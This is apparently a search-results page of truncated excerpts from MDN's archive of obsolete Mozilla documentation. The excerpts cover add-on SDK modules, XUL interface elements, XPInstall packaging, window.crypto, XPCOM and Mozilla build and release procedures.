...e business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority. in this article, we'll discuss creating a clear business case to convince decision-makers to make the investment.understanding latencylatency is the time it takes for a packet of data to travel from source to a destination. in terms of performance optimization, it's important to optimize to reduce causes of lacency and to test site performance emulating high latency to optimizer for users with lousy connections. this article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.using dns-prefetchdns-prefetch is an attempt to resolve domain names before resources get requested. thi...
...ow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. this article outlines some javascript best practices that should be considered to ensure even complex content is as performant as possible. mobile performance with web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, cpu and battery life, it is important to consider the performance of your web content on these platforms. this article looks at mobile-specific performance considerations. using performance apis performance api this guide describes how to use the performance interfaces that are defined in the high-resolution time standa...
...And 3 more matches
page-mod - Archive of obsolete content
ox 34, you can use "./my-script.js" as an alias for self.data.url("my-script.js"). so you can rewrite the above code like this: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: "./my-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. a page-mod only attaches scripts to documents loaded in tabs. it will not attach scripts to add-on panels, page-workers, sidebars, or firefox hidden windows. to stop a page-mod from making any more modification...
...tring or an array of match pattern strings. these define the documents to which the page-mod applies. at least one match pattern must be supplied. you can specify a url exactly: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://www.iana.org/domains/example/", contentscript: 'window.alert("page matches ruleset");' }); you can specify a number of wildcard forms, for example: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("matched!");' }); you can specify a set of urls using a regular expression. the pattern must match the entire url, not just a subset, and has global, ignorecase, and multiline disabled. var pagemod = require("sdk/page-mod"); pagemod.pagemod({ inclu...
...gemod.pagemod({ include: "*", contentscript: 'window.alert("matched!");' }); to attach multiple scripts, supply an array of strings. content scripts specified by this option are loaded after those specified by the contentscriptfile option. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. name: contentscriptwhen type: string by default, content scripts are attached after all the content (dom, js, css, images) for the document has been loaded, at the time the window.onload event fires. u...
...And 2 more matches
lang/functional - Archive of obsolete content
+ value); }); fn("click", "#home"); console.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `myevent` // function, making it non-blocking and executing on the // next event loop parameters fn : function the function to be deferred. returns function : the new, deferred function. remit() an alias for defer. ...
...nsole.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `myevent` // function, making it non-blocking and executing on the // next event loop parameters fn : function the function to be deferred. returns function : the new, deferred function. remit() an alias for defer. invoke(callee, params, self) invokes callee, passing params as an argument and self as this. returns the value that is returned by callee. let { invoke } = require("sdk/lang/functional"); invoke(sum, [1,2,3,4,5], null); // 15 function sum () { return array.slice(arguments).reduce(function (a, b) { return a + b; }); } parameters callee : function function to invoke. params : array parameters to be passed into callee. self : mixed object t...
... 1); addone(5); // 6 addone(10); // 11 partial(add, addone(20))(2); // 23 parameters fn : function function on which partial application is to be performed. arguments... : mixed additional arguments returns function : the partial function. compose(fn...) returns the composition of a list of functions, where each function consumes the return value of the function that follows. in math terms, composing the functions f(), g(), and h() produces f(g(h())). let { compose } = require("sdk/lang/functional"); let welcome = compose(exclaim, greet); welcome('moe'); // "hi: moe!"; function greet (name) { return "hi: " + name; } function exclaim (statement) { return statement + "!"; } parameters fn... : function takes a variable number of functions as arguments and composes them from rig...
...And 2 more matches
util/collection - Archive of obsolete content
a simple list-like class and utilities for using it. usage a collection is ordered, like an array, but its items are unique, like a set. globals constructors collection([array]) creates a new collection. the collection is backed by an array. parameters array : array if array is given, it will be used as the backing array. this way the caller can fully control the collection. otherwise a new empty array will be used, and no one but the collection will have access to it. functions addcollectionproperty(object, propname, [backingarray]) adds a collection property to the given object. setting the property to a scalar value empties the collection and adds the value. setting it to an array empties the collection and adds all the items in the array. parameters object : object the ...
...for example, the following code... var collection = require("sdk/util/collection"); var c = new collection.collection(); c.add(1); c.add(2); c.add(3); for (item in c) console.log(item); ... ...
...uire("sdk/util/collection"); var c = new collection.collection(); c.add(1); c.add(2); c.add(3); for (item in c) console.log(item); ... would print this to the console: 1 2 3 iteration proceeds over a copy of the collection made before iteration begins, so it is safe to mutate the collection during iteration; doing so does not affect the results of the iteration. ...
...And 2 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
ight want to take a look at this guide instead. on the other hand, if you are an experienced developer or team, and you know that you are going to build a large, complex extension, you would do well to consider the approach described in this article. one final note: i've only tried these techniques inside firefox, but they'll probably work more or less unchanged on other gecko-based platforms like thunderbird or seamonkey. if someone can confirm this and/or provide guidelines for what's different, i'll update the article to incorporate this information. bambi meets mozilla none of this is for the faint of heart. in particular, the initial step involves building mozilla, which is a huge - nay, gargantuan! - project. many intelligent developers have been driven to the brin...
... bambi meets mozilla none of this is for the faint of heart. in particular, the initial step involves building mozilla, which is a huge - nay, gargantuan! - project. many intelligent developers have been driven to the brink of insanity trying to build it for the first time. if you're not an experienced c++ developer, i wouldn't even bother. stick to javascript. on windows platforms the first time i built mozilla i used this guide. i can't even remember why anymore, but i got stuck in a number of places, and the whole affair ended up taking far longer than i originally expected. much furniture was smashed, much hair torn out by the roots. here's a comprehensive looking guide that's gotten good reviews. follow every step methodically and you'll probably be alright. foc...
...s, and the whole affair ended up taking far longer than i originally expected. much furniture was smashed, much hair torn out by the roots. here's a comprehensive looking guide that's gotten good reviews. follow every step methodically and you'll probably be alright. focus on the fact that once you get the build working, it'll probably work effortlessly from then on. maybe. on other platforms on other platforms, namely linux and macos, the process is much easier. all the tools for building are available built-in, and therefore all you have to do is run some commands in the terminal. you can find full instructions for almost any os here. structuring your project mozilla includes a number of complex extensions that are integrated into its build process. it has thus ...
...And 2 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
b pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...the html <a> is the install link. the href attribute contains a direct link to the extension xpi file, this is what will sho...
...the href attribute contains a direct link to the extension xpi file, this is what will show in the location bar when the link is moused over. users can save the xpi file to disk easily by right clicking on the link and choosing "save link as..." when the link is clicked it calls the function install passing the event object as the parameter. ...
...And 2 more matches
Adding sidebars - Archive of obsolete content
and in most cases, the sidebar is going to be fairly narrow. you should design the content of your sidebar carefully, so that it is usable and appealing regardless of width. there are ways to limit the size boundaries of your sidebar with css or even disable resizing altogether, but none of those are good practices. forcing sidebars to have a fixed size can cause accessibility and usability problems. you can still have plenty of content available in your sidebar, you just need to organize it in a way that doesn't take too much space. for this purpose we'll also look at some handy xul elements in this section. they allow you to stack content on top of other content and switch between different sections easily. the tabbox element the « xul reference « element creates a tabbed view of one ...
...nces window and select the advanced section. the tabs are styled to match the operating system you're using, so you should avoid changing the css in tab boxes. on the other hand, if you need ui that behaves like a tabbox but doesn't look like one, you should still favor using a tabbox and use css to change its look. using custom-made elements are likely to cause accessibility and functional problems. creating a tabbed view is simple: <tabbox id="xulschoolhello-tabbox"> <tabs> <tab label="&xulschoolhello.maintab.label;" /> <tab label="&xulschoolhello.advancedtab.label;" /> </tabs> <tabpanels> <tabpanel> <!-- content for the main panel. --> </tabpanel> <tabpanel> <!-- content for the advanced panel. --> </tabpanel> </tabpanels> </tabbox> the f...
...ing camel case instead of all small caps. the size of the deck depends on the size of the largest child node, just like in a tabbox. we recommend that you use hbox or vbox elements as children of a deck or stack. the code is easier to read and maintain this way. a deck can be very useful when you have a large piece of xul code that only changes in a small way depending on different circumstances. for instance, you could have a window that is used for two different purposes, and the only difference between the two cases is a label that has a value in one case and something else in another. using a .properties file and a string bundle is a viable option, but it involves a lot of code for something so simple, specially if that's the only case where you need dynamic text. the alternati...
...And 2 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
cenario was reversed. as i was designing the product, i began discovering a broader set of web standards, and was quickly swayed by the advantages i could see if we were to adopt them. it was a no-brainer to us that wired news was a perfect candidate for the total conversion to xhtml and css. the content of the site tells the story of how technology affects our daily lives, especially in the realms of business, culture, and politics. why not attempt to use technology standards for the web to live out that story? the visual design of wired news and the vignette templates were all sorely stale, and we had no significant effort invested into either for more than two years. i think that fact played a critical role in our team's willingness to try out something completely new. our engineering te...
...s page shrink? the html went from 32 kb down to 19 kb, but images increased from 8 to 13 kb. we've noted that some of the file size comparison's aren't necessarily fair, because we're not comparing apples to apples-- we're comparing an old design using html, tables, and spacer gifs to a new design much richer in imagery and style. what made you decide to drop tables as a layout mechanism? it seems like most designers think that you have to have at least some tables for layout. i've been manually writing sample code for my own design prototypes for 4 or 5 years now. i used to pride myself in knowing how to reproduce any interface design down to a pixel-perfect level. a developer would tell me something wasn't possible, and i could prove otherwise every time. like other designers and html w...
...ads from available inventory. because of the iframe, we backed off of the idea that we'd be able to adhere to xhtml strict rules, and settled for using the xhtml transitional dtd. we were hoping to go all the way with the xhtml conversion, but our ad units and some other third-party content prevent us from doing so. our engineers also faced a huge archive of content that wasn't entered into our cms with xhtml in mind. it's true that our stories exist in a database, separated from page templates and peripheral formatting. but writers, editors, and producers have been inserting stories into vignette for years sans closing paragraph (</p>) tags. unquoted attributes and uppercase html tags? we've got them in spades, and they're embedded in all past stories of the database. fortunately, our chie...
...And 2 more matches
Layout System Overview - Archive of obsolete content
influences the formatting of that or other elements' presentations, and must then reformat, or re-reflow, the impacted elements. in all cases, the determination of the impact is critical to avoid either the problem of not updating impacted elements, thus presenting an invalid presentation, or updating too much of the presentation and thus doing too much work, potentially causing performance problems. one very special case of dynamic content manipulation is the html editor. layout is used to implement both a full-blown wysiwyg html editor, and a single and multi-line text entry control. in both cases, the content is manipulated by the user (via the dom) and the resulting visual impacts must be shown as quickly as possible, without disconcerting flicker or other artifacts that might bother the...
...a way to integrate other layout schemes into the presentation. currently layout supports the formatting of xul elements, which utilize a constraint-based layout language. the box is introduced into the layout system's frame model via an adapter (boxtoblockadapter) that translates the normal layout model into the box formatting model. conceptually, this could be used to introduce other layout systems, but it might be worth noting that there was no specific facility designed into the layout system to accommodate this. layout deals with frames, but as long as the layout system being considered has no need to influence presentational elements from other layout systems, it can be adapted using a frame-based adapter, ala xul. core classes at the highest level, the layout system is a group of class...
...the idea of formatting text and graphics to fit within a given screen area sounds simple, but the interaction of in-flow and out-of-flow elements, the considerations of incremental page rendering, and the performance concerns of dynamic content changes makes for a system that has a lot of work to do, and a lot of data to manage. ...
...And 2 more matches
JavaScript Client API - Archive of obsolete content
how to use the internal client-side sync javascript api. this api is available in mozilla-based products that use sync, such as firefox desktop. this document is somewhat outdated, and the api isn't well-supported for use from add-ons; tread carefully. the best, and most up-to-date, reference to sync's internal apis is the source code. ...
... further, you agree (a) to maintain and link to (including on websites from which your third party client may be downloaded) a separate, conspicuous, and reasonably detailed privacy policy detailing how data collected or transmitted by your third party client is managed and protected; (b) that your third party client will only store data in encryp...
...rable list containing the guids of every item being stored on the local system. this can be a dictionary-type object where the keys are the guids and the values are whatever; or it can simply be a list of guids. this is the method that the engine will call the first time it syncs, in order to get a complete inventory of what data there is that will need to be uploaded to the server. unless the items you're syncing have their own inherent guids already defined, you'll need to invent guids for all your items at this time. when one of these guids is later passed as an argument to createrecord(), you need to return a record based on the matching data. therefore, it's the responsibility of this method to define the guid -> item mapping, and to store it for later reference by other methods. wi...
...And 2 more matches
JavaScript crypto - Archive of obsolete content
ionality web pages need and the requirement to protect users from malicious web sites. most of these services are available via the dom window object as window.crypto. services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text. handling smart card events web sites can make themselves more smartcard friendly by listening for smartcard insertion and removal events. to enable your document to receive these events, you must first tell the crypto system you are interested by setting window.crypto.enablesmartcardevents to true. you can then register event handlers for these events with the document.addeventlistener() method. two smart card related events are generated: smartc...
... if (typeof(crypto.version) != "undefined") { crmfobject = crypto.generatecrmfrequest( "cn=" + form.name.value, form.password.value, authenticator, keytransportcert, "setcrmfrequest();", 1024, null, "rsa-dual-use"); } return false; } function setcrmfrequest() { form.cert_request.valu...
...ificate</p> <form name="reqform"> <p><input type=submit name="load" value="submit"></p> </form> <script> /* the following values could be filled in by the server cgi */ var nickname= "mycertnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var forcebackup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, forcebackup); return false; } document.forms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ... */); loading pkcs #11 modules long deletemodule(domstring modulename); long addmodule(domstring modulename, domstring libraryfullpath, long cryptomechanismflags, long cipherflags); loads or removes a new ...
...And 2 more matches
Modularization techniques - Archive of obsolete content
ass static nsresult unregisterfactory(const nscid &aclass, const char *alibrary); // unload dynamically loaded factories that are not in use static nsresult freelibraries(); }; there are several ways a factory can make its way into the repository. the most direct is through registerfactory(). registerfactory() supports two different registration mechanisms. the first takes a class id and a pointer to a factory. this mechanism can be used on factories that are linked into the executable. the second takes a class id and the path to a dynamically loadable library. this mechanism can be used both inside an executable at run-time and externally using the apersist flag to tell the repository to store the class id/library relationship in its permenant sto...
...; }; frequently you see them represented as strings, like this: {221ffe10-ae3c-11d1-b66c-00805f8a2676} to initialize an id struct you declare them like this: id = {0x221ffe10, 0xae3c, 0x11d1, {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}}; why the b66c couplet gets broken up and grouped with the last set of bytes is probably a footnote somewhere. on windows you can use the programs uuidgen and guidgen, which ship with visual c++, to generate ids. a simple example it is recommended that you use xpidl to define your interfaces. this sample code should be updated to reflect this, but it gives you a good basic understanding of com from the c++ perspective. file nsisample.h nsisample.h defines an extremely simple interface and its interface id (iid). the important things t...
...retty much described here. ole (actually ole 2) was one of the first efforts to use com. why c++? c++ provides the easiest mechanism for implementing interfaces. you can manually assemble interfaces using function tables and macros, but you'd be simply doing by hand what a c++ compiler can do for you automatically. can i use c? you can use c everywhere except your interface. there are mechanisms for declaring interfaces in c, but they're pretty gruesome and compiler dependent, and we're trying to make this as light weight as possible. why not com? the only platform for which com support is currently widely available is windows. microsoft ships a com extension for the macintosh, but it's generally only installed with internet explorer or microsoft office. unix support for com is scarce.
...And 2 more matches
Creating XPI Installer Modules - Archive of obsolete content
ubdirectory structure that reflects the role of the different parts. for the barley package, you only need to create a single subdirectory, content/ (see figure below). ...
... barley.gif barley.js barley.xul creating the contents.rdf file one of the most important ingredients of the software package is the contents.rdf file that describes the contents of the package in terms that the chrome registry can make sense of. for a package such as this one with its own content but no special localization or custom skin, the contents.rdf file describes package in terms of its relation to the "root" package of mozilla. ...
...most important ingredients of the software package is the contents.rdf file that describes the contents of the package in terms that the chrome registry can make sense of. for a package such as this one with its own content but no special localization or custom skin, the contents.rdf file describes package in terms of its relation to the "root" package of mozilla. ...
...And 2 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
he majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed. it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser. for plugin vendors who have already written a native cod...
...to restart their browser. for plugin vendors who have already written a native code (e.g. exe) installer, xpinstall can wrap this native installer and run it so that the user never has to leave the browsing environment and click on the exe to run it. this article presents a guideline for improving the plugin installation experience for netscape gecko browsers using xpinstall. a definition of terms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform"). an xpinstall package is usually called an xpi package for short (and often pronounced "zippy"). this article is about how you can use xpinstall to install plugins to the browsers that support xpinstall. an xpi package is in fact a zip file with the x...
...ackages, like zip files, "contain" other files, typically: the software component to be installed. in our case, this is the plugin software. a javascript file called install.js, which is the install logic that drives the installation. this includes instructions on where to install the software, and what messages to feed to the user. you can create an xpinstall file by first zipping all the items you want installed with winzip (create a zip archive) and then renaming it with the xpi file extension instead of the zip file extension. unlike native code installers (for example, files called setup.exe), the programming language for install operations in xpi is javascript. since the file format that contains the software and the install.js javascript file is a cross-platform file (zip) and sin...
...And 2 more matches
Reading from Files - Archive of obsolete content
cular character encoding. in addition, lines may be read by reading the file up until a linefeed character is detected. a binary stream would be used to read bytes or numbers encoded within the file. to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.newinputstream() to open a stream for reading from it. to learn more about file objects, see files and streams. var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); this example first retrieves a file object using nsiscriptableio.getfile(). in this case, the file 'sample.txt' within the user's home directory is retrieved. next, nsiscriptableio.newinputstream() is called to create a new input stream for reading from the file. this method will open the file and return ...
... 'text' flag is used which indicates that you expect this file to be text file. this method actually takes a number of additional arguments, however they are optional so they do not need to be specified if they aren't needed. these extra arguments will be discussed later. you can also specify to read from a binary file by using the flag 'binary' instead of 'text'. the difference is that text streams process the bytes being read into characters in a particular character encoding whereas binary streams always read bytes. first, let's look at reading form text files. reading text files characters are interpreted from a text input stream using a specified character encoding. this means that if a character within the file occupies several bytes, it will converted into a single character when read...
...his method returns the number of bytes available, not the number of characters available, because the file hasn't been read and parsed yet, so the actual number of characters isn't known yet. fortunately as a character is always at least one byte long in the default utf-8 encoding, the number of characters will always be equal to or smaller than the number of bytes available. for normal file streams, the available method will return the total number of bytes left in the file to read. in effect, the above code ends up reading the entire contents of the file into a single string. the available method returns 0 if there is no more data to read, so you could use a loop to read a number of strings. this example keeps reading 10 character strings from a file until there is no more data to read. no...
...And 2 more matches
Introduction to XUL - Archive of obsolete content
face language") is our name for the language in which these ui descriptions are built. window chrome is displayed and managed by the same layout engine that manages html content in the browser. ui descriptions, then, look a great deal like html 4. xul is an application of xml. in fact, it is just xml with specific meaning defined for a few element types, and into which html can be scattered. terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer. the intention is to build cross-platform applications like browsers and mail clients from a set of tools designed for that purpose. the intention is not to implement a generic cross-platform application framewo...
...een done, and is a great deal of work. we intend to provide a subset of cross-platform functionality suitable for building network applications like browsers, leveraging the cross-platform functionality already built into gecko, mozilla's html layout engine. the term "cross-platform ui" is somewhat misleading. ui designers will be able to create ui descriptions which will work on multiple platforms. but proper ui descriptions which take into account various platforms' differing ideas about proper placement of such things as dialog buttons will require some platform-specific work. a single xul specification can only cross-platform to a degree. ui designers and build engineers will need to maintain separate, platform-specific versions of at least some xul documents. "xptoolkit" is rather syn...
... "xul" already introduced, is an application of xml used to describe the layout of most windows in the mozilla browser, including and especially the main, browser window. scope this paper makes no attempt to explain requirements. ...
...And 2 more matches
Element Positioning - Archive of obsolete content
100px"/> <textbox flex="1" style="max-width: 10em;"/> <description style="max-width: 50px">this is some boring but simple wrapping text.</description> example 1 the first button will be displayed with a width of 100 pixels (px means pixels). you need to add the unit or the width will be ignored. example 2 the second button will be displayed with a height of ten pixels and a width of 100 ems (an em is the size of a character in the current font). example 3 the third button is flexible so it will grow based on the size of the box the button is in. however, the button will never shrink to be less than 50 pixels. other flexible components such as spacers will absorb the remaining space, breaking the flex ratio. example 4 the fourth button is flexible and will never have a height t...
... to be less than 50 pixels. other flexible components such as spacers will absorb the remaining space, breaking the flex ratio. example 4 the fourth button is flexible and will never have a height that is smaller than 2 ex (an ex is usually the height of the letter x in the current font) or wider than 100 pixels. example 5 the text input is flexible but will never grow to be larger than 10 ems. you will often want to use ems when specifying sizes with text in them. this unit is useful for textboxes so that the font can change and the textboxes would always be a suitable size, even if the font is very large. example 6 the description element is constrained to have a maximum width of 50 pixels. the text inside will wrap to the next line, after fifty pixels. our find files dialog l...
...let's add some of these styles to the find files dialog. we'll make it so that the textbox will resize to fit the entire window. <textbox id="find-text" flex="1" style="min-width: 15em;"/> here, the text input has been made flexible. this way, it will grow if the user changes the size of the dialog. this is useful if the user wants to enter a long string of text. also, a minimum width of 15 ems has been set so that the text box will always show at least 15 characters. if the user resizes the dialog to be very small, the text input will not shrink past 15 ems. it will be drawn as if it extends past the edge of the window. notice in the image that the text input has grown to extend to the full size of the window. box packing let's say you have a box with two child elements, both of whi...
...And 2 more matches
More Menu Features - Archive of obsolete content
however, you can create submenus by simply placing the menu element inside the menupopup element. ...
...cate to the user that a dialog will open when selecting the command. access keys have been added for each menu and menu item. you will see in the image that this letter has been underlined in the menu label. also, the paste command has been disabled. we'll assume that there's nothing to paste. our find files example so far : source view adding checkmarks to menus many applications have menu items that have checks on them. for example, a feature that is enabled has a check placed beside the command and a feature that is disabled has no check. when the user selects the menu, the check state is switched. you may also want to create radio buttons on menu items. the checks are created in a similar way to the checkbox and radio elements. this involves the use of two attributes: type to indicate...
...menu> </menubar> </toolbox> the type attribute has been added which is used to make the menu item checkable. by setting its value to checkbox, the menu item can be checked on and off by selecting the menu item. menu with radios in addition to standard checks, you can create the radio style of checks by setting the type to a value of radio. a radio check is used when you want a group of menu items where only one item can be checked at once. an example might be a font menu where only one font can be selected at a time. when another item is selected, the previously selected item is unchecked. in order to group a set of menu items together, you need to put a name attribute on each one to group. set the value to the same string. the example below demonstrates this: example 3 : source view <too...
...And 2 more matches
Simple Menu Bars - Archive of obsolete content
...
...laced separately. menupopup the popup box that appears when you click on the menu title. this box contains the list of menu commands. menuitem an individual command on a menu. this would be placed in a menupopup. menuseparator a separator bar on a menu. this would be placed in a menupopup. you can customize the menus on the menubar to have whatever you want on them on all platforms except the macintosh. this is because the macintosh has its own special menu along the top of the screen controlled by the system. although you can create custom menus, any special style rules or non-menu elements that you place on a menu may not be applied. you should keep this is mind when creating menus. example of a simple menu bar example 1 : source view <toolbox flex="1"> <menubar i...
...element. it will create a row for menus to be placed on. two menus, file and edit have been created here. the menu element creates the title at the top of the menu, which appears on the menu bar. the popups are created using the menupopup element. it will pop up when the user clicks on the parent menu title. the size of the popup will be large enough to fit the commands inside it. the commands themselves are created using the menuitem element. each one represents a single command on the menu popup. you can also create separators on the menus using the menuseparator element. this is used to separate groups of menuitems. menubar element the menubar is a box containing menus. note that it has been placed inside a flexible toolbox. the menubar has no special attributes but it is a type of box...
...And 2 more matches
Styling a Tree - Archive of obsolete content
the cell individually. you can style not only the cell and its text, but the twisty and indentation. the following is the syntax that needs to be used: treechildren::-moz-tree-row(makeitblue) { background-color: blue; } this style which has a complex selector is used to style the background color of rows that have the 'makeitblue' property. this special syntax is needed because the cells themselves are not separate elements. all of the content inside the tree's body is rendered by the treechildren element. however, css has a concept to access parts of elements considering them to be pseudo-elements. this selector matches some tree rows inside the treechildren element as pseudo-elements. the style sets style rules for particular parts of what it displays. this style rule means, inside a...
...etrowproperties() as the text color will not be inherited into each cell.) prior to gecko 22 the properties object that is passed as the last argument to the getcellproperties() is an xpcom object that implements nsisupportsarray. it is really just an xpcom version of an array. it contains a function appendelement() which can be used to add an element to the array. ...
...lor will not be inherited into each cell.) prior to gecko 22 the properties object that is passed as the last argument to the getcellproperties() is an xpcom object that implements nsisupportsarray. it is really just an xpcom version of an array. it contains a function appendelement() which can be used to add an element to the array. we can use the interface nsiatomservice to construct string atoms for the properties. getcellproperties: function(row,col,props){ if ((row %4) == 0){ var aserv=components.classes["@mozilla.org/atom-service;1"]. getservice(components.interfaces.nsiatomservice); props.appendelement(aserv.getatom("makeitblue")); } } the properties list requires an array of atom objects, which can be thought of as constant strings. we create them using ...
...And 2 more matches
Updating Commands - Archive of obsolete content
updater listens for the focus event. this causes commands to be updated when an element receives the focus. when a focus event occurs, the code in the oncommandupdate attribute is called. in the example, the goupdatecommand method is called which is a function provided by the globaloverlay.js script described earlier. it will update the command and enable or disable necessary buttons and menu items. the code behind it is fairly simple. it just gets the necessary controller, calls its iscommandenabled method, and then enables or disables the command. if you have several commands to update, call the goupdatecommand method once for each command. note that the command updater will receive notifications about all focus events on all elements, even if other event handlers respond to the event. es...
... select: occurs when the selected text changes. undo: occurs when the undo buffer changes. clipboard: occurs when the contents of the clipboard changes. the following example shows the command updaters used in the mozilla browser to update the edit menu commands. the functions used can be found in the 'chrome://communicator/content/utilityoverlay.js' script. ...
...the contents of the clipboard changes. the following example shows the command updaters used in the mozilla browser to update the edit menu commands. the functions used can be found in the 'chrome://communicator/content/utilityoverlay.js' script. ...
...And 2 more matches
XML - Archive of obsolete content
of people have created new languages out of xml. mathml and the chemical markup language (cml) are two of the better-known and more widely-used languages, but there are hundreds. information developers create languages particular to their applications, any time they need a very specific way to represent the structure of some data. ...
...athml and the chemical markup language (cml) are two of the better-known and more widely-used languages, but there are hundreds. information developers create languages particular to their applications, any time they need a very specific way to represent the structure of some data. when we say language, we mean that developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agrammar. ...
...developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agrammar. then they insist that their authors use the language to describe the thing it has been created for. those authors may be people or machines, but they must use the new language if the readers are to understand what sort of data it is they are reading. it's much simpler than it seems -- much simpler, in fact, than a lot of xml primers and references would have you believe. in fact, let's create a new xml-based language right now called "memoml". ...
...And 2 more matches
Building XULRunner with Python - Archive of obsolete content
f mozilla is needed. this page provides instructions in the hope of eliminating much trial and error. you should also read the the developer documentation on source code and building as wells as pyxpcom xulrunner with python promises to be a good platform for accessibility projects and both jambu alternative input and the iaccessible2 test tool are using it. of particular interested is access to msaa and iaccessible2 via the python comtypes package. development machine setup first a word of warning that zonealarm has exhibited memory leaks that cause build machines to crash with rather spurious errors. you may want to uninstall it if you suspect this to be a problem. you will also want to disable any virus scanner resident monitoring as that will slow builds. ensure the pc is running x...
...se build machines to crash with rather spurious errors. you may want to uninstall it if you suspect this to be a problem. you will also want to disable any virus scanner resident monitoring as that will slow builds. ensure the pc is running xp with all the latest service packs and patches applied. ...
...o uninstall it if you suspect this to be a problem. you will also want to disable any virus scanner resident monitoring as that will slow builds. ensure the pc is running xp with all the latest service packs and patches applied. microsoft c++ compiler is required and whilst the current free version is visual studio 8 express (msvc8) you will almost certainly want to use visual studio .net 2003 (msvc71) which is not longer officially available. the issue is that xulrunner must be built with the same version of c as python and with python 2.5 that is msvc71. both must use the same version of the c runtime library msvcrt?.dll or crashes will ensue. the alternative is to build python with msvc8 as well asmozilla, but that may be problematic. it might also be possible to use the open source min...
...And 2 more matches
NSPR Release Engineering Guide - Archive of obsolete content
this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms. nspr generally follows the iplanet product lifecycle. ...
... this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms. nspr generally follows the iplanet product lifecycle. ...
...nclude/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree u...
...And 2 more matches
Requests For Enhancement - Archive of obsolete content
Archive › Web › XForms › RFE
introduction the purpose of this page is to gather requests for enhancement to the mozilla xforms implementation. if you have an idea that might improve mozilla's xforms implementation then you should choose one of the following rfe categories and put your request there. you can also contact the xforms team about your request. you can do so by posting a message on the xforms newsgroup or file a new bug in the 'xforms' component of the 'core' product. an additional way to attract the xforms team's attention to an enhancement request you are promoting is to vote for the bug that is related with the feature request (if there is no bug yet then please feel free to file it). ...
...age on the xforms newsgroup or file a new bug in the 'xforms' component of the 'core' product. an additional way to attract the xforms team's attention to an enhancement request you are promoting is to vote for the bug that is related with the feature request (if there is no bug yet then please feel free to file it). then you can give a vote by clicking on the 'vote' link on the bug page. the xforms team looks at votes to help determine which bug is more important for our xforms users. rfe categories xforms api this section contains rfe to the xforms api. custom controls i think that xforms is a great way to show that 14 year old html hacks can build really powerful web apps and reduce the need for javascript by 90%. ...
... link on the bug page. the xforms team looks at votes to help determine which bug is more important for our xforms users. rfe categories xforms api this section contains rfe to the xforms api. custom controls i think that xforms is a great way to show that 14 year old html hacks can build really powerful web apps and reduce the need for javascript by 90%. now we need to start teaching xforms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript! dan mccreary. one of the outstanding features of xforms is that it can work with any xml host language. natively, the mozilla xforms implementation supports xforms elements being hosted in xhtml and xul documents. but a form author is not restricted to only t...
...And 2 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
sses that an organization can use. at the high level, there are two primary types of standards: procedural (how do we do it) vs. technical (what do we follow). organizations implement internal procedural standards so they are able to operate efficiently. they may also incorporate external procedural and/or technical standards. technical standards have traditionally been pioneered through consortiums or standards bodies. the technical standards can be either public, standards-based or a proprietary de facto standard. the purpose of this document is to discuss and emphasize the importance of conforming to open technology standards that are external to the organization. let’s begin the discussion, however, by looking inward to internal procedures, processes and standards. why should organiza...
...h, they do so by following the fasb rules. focusing on the software development portion of an organization, there are numerous standards bodies that can affect development decisions. ...
